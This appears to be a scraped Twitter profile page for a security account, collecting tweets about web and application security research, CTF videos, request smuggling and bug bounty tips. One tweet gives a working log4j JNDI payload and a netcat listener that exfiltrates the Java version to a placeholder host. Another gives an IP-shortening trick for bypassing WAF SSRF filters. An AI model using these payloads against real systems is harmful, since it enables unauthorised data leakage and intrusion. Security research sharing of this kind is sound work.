roguesecurity @_roguesecurity

Application Security, Microservices, Kubernetes, Cloud, IoT, Golang and more .... roguesecurity.in India Joined December 2013

Tweets

138
Followers

68
Following

188
Likes

759

Sonar @SonarSource

3 years ago

@1ns0mn1h4ck The videos are now available on YouTube! - "Two Bugs To Rule Them All: Taking Over The PHP Supply Chain" by @swapgs: youtube.com/watch?v=RLcK0k… - "A Common Bypass Pattern To Exploit Modern Web Apps" by @scannell_simon: youtube.com/watch?v=V-DdcK…

0 7 13 0 6

Sergey Bobrov @Black2Fan

4 years ago

If you need log4j PoC for Information disclosure ${jndi:ldap://host:1389/${java:version}} echo -e '0\x0c\x02\x01\x01a\x07\x0a\x01\x00\x04\x00\x04\00' | nc -vv -l -p 1389 | xxd

5 151 561 0 111

Download Image

7ASecurity @7aSecurity

5 years ago

🔥Check out the @owasp Virtual Trainings for 2021🔥 🕸️Hacking Modern Web apps #NodeJS 📳Hacking #Android & IoT apps by Example 📱Hacking #iOS & IoT apps by Example Real world apps & case studies! training.owasp.org/schedule/

0 15 22 0 5

roguesecurity @_roguesecurity

5 years ago

Checklist for securing the Kubernetes cluster roguesecurity.in/2020/03/11/att… #Kubernetes #security #Pentesting

0 0 1 0 0

LiveOverflow 🔴 @LiveOverflow

6 years ago

New video about the suidbash challenge from the Google CTF Finals 2019. It's about an actual zero-day in /bin/bash - CVE-2019-18276 🔴 youtube.com/watch?v=-wGtxJ…

2 118 501 0 34

Download Gif

Trend Zero Day Initiative @thezdi

6 years ago

Windows #UAC isn't a favorite feature, but @HexKitchen details a bug submitted by Eduardo Braun Prado that shows how you can use it to escalate from guest to SYSTEM (includes video) bit.ly/2QyFQPJ

6 323 634 0 61

James Kettle @albinowax

6 years ago

This request smuggling vulnerability in a US Department of Defence system is a solid example of the multiple-frontend problem: hackerone.com/reports/526880

2 88 287 0 36

ippsec @ippsec

6 years ago

Looking for a video on a specific topic? Check out ippsec.rocks - Searches all the descriptions on my channel and provides links to the exact time in the video! Now with live multi-word searching. Source code is up on my github if you want to learn some JS.

5 57 185 0 22

PortSwigger Research @PortSwiggerRes

6 years ago

We've published new HTTP desync techniques, tooling and patches in HTTP Desync Attacks: what happened next, by @albinowax portswigger.net/research/http-…

6 222 469 0 53

roguesecurity @_roguesecurity

6 years ago

One XSS cheatsheet to rule them all | PortSwigger Research portswigger.net/research/one-x…

0 0 1 0 0

James Kettle @albinowax

6 years ago

CVE-2019-16276: HTTP Request Smuggling in Golang groups.google.com/forum/m/#!topi…

2 93 328 0 18

Google VRP (Google Bug Hunters) @GoogleVRP

6 years ago

Learn how to write fuzzers for Chrome and put your vulnerability rewards on autopilot with @Dor3s and @NedWilliamson: security.googleblog.com/2019/07/chrome…

0 147 423 0 64

roguesecurity @_roguesecurity

6 years ago

Abusing Nashorn Script Engine to perform Remote Code Execution roguesecurity.in/2019/07/27/nas… #nashorn #rce #javascript #java #reflection

0 2 2 0 0

Pinaki ❄️ @0xInfection

6 years ago

I learnt today that IP addresses can be shortened by dropping the zeroes. Examples: http://1.0.0.1 → http://1.1 http://192.168.0.1 → http://192.168.1 This bypasses WAF filters for SSRF, open-redirect, etc where any IP as input gets blacklisted. #infosec #bugbounty #bugbountytip